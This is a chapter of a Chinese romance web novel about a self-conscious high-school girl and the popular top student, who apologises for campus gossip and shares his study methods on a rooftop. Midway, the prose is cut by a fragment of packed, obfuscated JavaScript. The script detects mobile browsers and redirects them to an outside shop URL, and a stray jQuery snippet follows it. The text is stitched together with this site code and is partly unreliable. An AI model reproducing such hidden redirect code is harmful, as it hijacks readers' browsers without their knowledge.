薇薇安完全没有看见江誉川向她冲来的这一幕。
她在倒地的瞬间,条件反射般闭上了眼睛,试图用一叶障目的手段掩盖自己当众出糗的悲剧。那一刹那,她感觉不到身体上的疼痛,满心满眼只有在江誉川面前丢脸的懊丧。
红彤彤的硕大落日涤荡着她的背,乌泱泱的师生人群团团包围住了她,空气里充斥着闹哄哄的杂乱声,分不清是谁的。
薇薇安后来是被万宝莉和另一个同班女同学搀扶着去了校医务室。那次摔伤导致她两腿膝盖鲜血淋漓,右脚踝外侧肿出一个鸡蛋大的包,走路一瘸一拐了足足半个月。
而她与江誉川的绯闻再次甚嚣尘上。
那一次的传播力度明显要大于上一次,好比小学阶段的无聊绰号,一旦起了,就跟被强力胶黏住了一样,用力甩都甩不掉。
男生们在食堂吃饭的时候,对着江誉川眉飞色舞:“喂,你女朋友来了!”女生们则在私下里交头接耳,窃窃私语,说看见江誉川当时紧张的表情了吗?应该是他喜欢王薇安更多一点。
可他喜欢她什么呢?
王薇安皮肤不算白,成绩也一般,长相不可亲,性格不温柔,小学初中就读人人闻之就立刻带上有色眼镜的明城著名民工子弟学校,一看就知道是外地人打工崽,家里穷没文化。但凡家里重视读书,谁会把孩子放在不良风气的学校里呢?
最后他们总结出一个原因:她胸大。
有一则讽刺笑话是这么写的。问,有钱人会选择什么样的女人?温柔体贴,聪明独立,活泼可爱还是家财万贯?答案是:胸大的。
其实薇薇安的胸只是发育成熟,且胸型饱满挺拔,完全够不上夸张的程度。只是她骨骼纤细,四肢匀称修长,一穿紧身衣整体就显得像细枝挂硕果。初二时她曾得过一个绰号,花了半年的时间才用武力彻底消灭。那个绰号是:大波妹。
相比较曾经近乎原始的野蛮江湖,重点高中里的学生明显要文明和克制太多。高考在每一个人头顶都悬着一把达摩克里斯之剑,学习占据太多精力,绯闻和绰号都只局限于私底下低频率的口舌之间。
可正值青春敏感期如她,依然在低频率的概率里,从男生目光交汇时的口型中,清晰地捕捉到一次。
当薇薇安来到三十岁时,她早已不会被这种事情困扰。她胸大,她骄傲,就要穿显身材的衣服,怎么了?你不爽就气死啊!
可十七岁的薇薇安还没有修炼到这样的思想层次。
她不想再回到初中时代以暴制暴的状态,也不想再解释了,累。反正也脚崴,干脆从早到晚都钉在座位上,穿着宽松校服,手拖脸颊,耷拉着背,一张厌世脸愈发的臭。
可也不知怎么搞的,都这么安分学习了,每次单元考出来的分数跟鬼打墙似的总在原地转圈,好像啃了一天的苹果,饿的抓心挠肺,结果早上起床后一称,嗬,一两没掉。
她气得半死。本来高中生活就枯燥乏味,这样一来,愈发觉得自己应该讨厌江誉川。
故意的吧,她阴测测地想,跑过来干什么?表演戏精。喜欢他的女生还不够多么,非要人人都喜欢他才满意?
她偏不喜欢,就不喜欢,死也不喜欢!
十月末的某个黄昏,她脚踝终于彻底恢复了。晚饭也不吃,旷了晚自习,随手抓了本新买的英语词汇本,一个人跑到体育馆的天台上。
平日学校大楼在无人使用时都会上锁,唯独西边的体育馆在晚上九点前都是开放的。一来空间大、楼层低,不太容易出事故。二来也方便学生下课时随时过去运动锻炼,放松下紧张的备考心情。
上周她领了体育老师的任务去后场整理羽毛球拍子,无意间发现有一道狭窄楼梯直通二楼天台。天台的墨绿铁门生了锈,门锁虚搭着,显然是坏了还没人及时去修。
薇薇安觉得自己再不呼吸点新鲜空气就要憋死了。
她第二次推开了那道墨绿色铁门。
比恐龙蛋还要大还要圆的落日噗通跳进了她的眼睛里。
天台是平的,水泥地上铺一层黑色防火卷材,目之所及,除了落日夕阳就是夏日南风,没有人。
薇薇安气鼓鼓地走到女儿墙边上,胳膊夹着词汇本,对着落日,把讨厌的人在心里骂了个痛快。
骂的就是江誉川。
只是她左右挑不出毛病,所谓的骂,也只能是:“考第一名很了不起吗?长得帅是你的本事吗?家庭和睦衣食无忧又不是你努力得来的,性格好人人都喜欢你又能怎样!我才不稀罕!”
默片似地一个人对空气骂了半天,骂的眼睛都红了,手背一抹,缓缓蹲到了地上。
她盯着狗皮膏药似的防火卷材,难过地咬住了唇:王薇安,你自卑啊。自卑让你失衡,失衡让你扭曲,扭曲让你丑陋啊。
考第一、长得帅、性格好、家庭和睦、衣食无忧、人人都喜欢……就是很了不起。
她粗暴地揉着自己的眼睛,用力吸了下鼻子,重新站了起来,拎起词汇本。
风替她翻开了第一页,薇薇安不服输地对着太阳大声开念:“abandon!”
身后有人噗嗤一声笑了。
薇薇安万万没料到突然出现个人,头皮一麻,猛地转过头去——江誉川站在铁门墙边。
他整个人浸在酡红的霞光中,发梢泛着湖水般流动的金边,那笑声还未来得及全部收住,变成了眼睛里深深的笑意。
绯闻男女在一片赤金夕照中俩俩相望,她逆着光大惊失色,他迎着光清朗微笑。
薇薇安僵硬地转过了身,光穿透校服,把她的腰捏得极细。
江誉川挪开了目光,睫毛轻轻颤动,又慢慢移了回来,定定地望向她的背影。
“冤家路窄,冤家路窄啊!”薇薇安正在狰狞地拧着眉头,“他什么时候过来的,怎么一点动静都没听见?他也不去上晚自习?”
等等!
怎么会这么巧呢,她来这里,他也来这里。难道是他一路在跟踪自己?他不去上晚自习来这里干什么?
烦死了。与其扭扭捏捏,不如一次性把话说清楚,做人黏黏糊糊磨磨唧唧的最讨厌了!
薇薇安恶狠狠地转过身去。
她:“你干嘛?”
他:“对不起。”
异口同声的两个人同时顿住了。
江誉川迎着落日朝她走了过来,薇薇安下意识又想退,可她已在护墙边,退无可退。
距离她大约两米处,他停了下来。
“我是专程来跟你道歉的。”他收了笑容,神色严肃,瞳孔在光下澄澈豁亮,“这些天给你造成困扰了,真的很抱歉,对不起。”
薇薇安张了张嘴,哑巴了。落日太耀眼,晒的她头晕脑胀。
“那些拿我们戏谑打趣的同学,我都已经很明确地跟他们说过了,开这种玩笑一点都不好笑。他们以后都不会再说了。”
薇薇安终于从牙缝里挤出了一粒声音:“嗯。”
江誉川看过去太真诚,而真诚是最强大的武器。刚才她还在心里骂他呢,真见了他,那些骂人的话瞬间烟消云散,她倒成了那个扭扭捏捏的人。
他的目光小心翼翼从她的脸快速下移到她的脚踝,最后又回定到她手里之物。
无论他的目光落到哪,薇薇安就觉得那里酥酥麻麻不得劲。
话说完了,赶紧走吧你!她在心里别扭地喊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940548|211554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>而江誉川看过去欲言又止。
一个人若有所思地盯着词汇书,另一个人则羞恼不安地抬头望天,就这么僵持了一会儿,江誉川还是开了口:“脚还痛吗?”
“不痛,好了。”
“嗯,这本词汇书是英语老师叫你们买的吗?”
薇薇安一楞,目光下移到自己的手上。
她僵硬地说:“没,我自己瞎买的,网站搜关键词销量排名第一。”
江誉川稍作停顿,道:“我可以说实话吗?”
薇薇安心里:“有屁快放。”说出来却更言简意赅:“嗯。”
他说:“这本词汇书我曾经看过,我觉得它可能不适合你。”
薇薇安没吭声,江誉川看她一眼,见她并没有不开心或不爽的样子,便鼓足勇气继续说了下去。
“如果你词汇量已经有了比较坚实的基础,这本词汇书确实可以帮你查漏补缺。但如果你的词汇量还属于比较欠缺的类型,这本词汇书就算背完,在实际做题中也记不住用不到位,因为它欠缺语境的关联性,不如跟着录音多背几篇阅读理解效率更高。”
说完,又赶紧补充一句:“就是一个小小的建议,如果你觉得没道理就忽略我吧。”
薇薇安垂着眼眸,脚尖在地上搓了两下,又搓两下,听见江誉川说:“那,我先走了。”
“等等。”她仍是低着头。
江誉川看着她。
薇薇安目光仍紧紧盯着地面,逆光烙在如火的落日中,马尾随风鼓鼓舞动。
“内个,你平常都是怎么学的,有什么方法可以教教我么?”
江誉川笑了。
那个黄昏啊,他从几门主课刷题的技巧、参考的书籍、再到时间的安排,娓娓道来,倾囊相授。跟老师们教条似的方法不同,他的经验完全是从学生实操的角度出发,口条清晰,简单易记。
薇薇安低着头,虽然全程都没有看江誉川几眼,但听得异常认真,专注到完全忘记了时间。
以前她一直坚定地认为,所谓学习方法,都是那些个大师专家用来坑蒙拐骗家长的套路。从小到大,钱大花一直这么说:读书是天生的命,会读书的人从难民窟里都能读出来,根本不用花一分钱。
她的影子终于走到了他的脚下,天边的彩云像一群燃烧的飞鸟。
江誉川轻轻吐出一口气,结束了。
薇薇安缓缓抬起头,第一次直截了当全神贯注地凝视他。
他在发光。
她没有说,谢谢,也没有问,你是不是喜欢我。
她问了一个问题,一个后来每次回想起来都会忍不住双手捂脸特别中二特别傻气的问题。
“江誉川,你的梦想是什么?”
肯定不是第一次被问这个问题,但江誉川震在原地,瞳孔一缩,久久没有回答。
风吹乱了他们的发,没有人去理。
薇薇安目不转睛地看着他,像光穿透影子。
“其实我还没有具体的梦想。”他双手插兜,微低着头,没有笑,一脸认真,“我家里人希望我以后当个医生、教授,或者公务员,跟他们一样,一生旱涝保收,四平八稳。可我就是不想,所以我在寻找。”
这句话,薇薇安记得今天。所以我在寻找。
她还记住了另外一句话。
翩翩少年抬眸望向她的身后,那里绮霞烂漫,如赤焰流火。
风吹动他的发丝,他的眼里装着十七岁青春年华最纯最真的赤忱炽热。
“这个世界这么大,这么辽阔,我不想过一眼就能望到头的日子。无论我以后会去哪,去做什么,我都想跟这天上的太阳一样,活得精彩,热烈,尽兴!”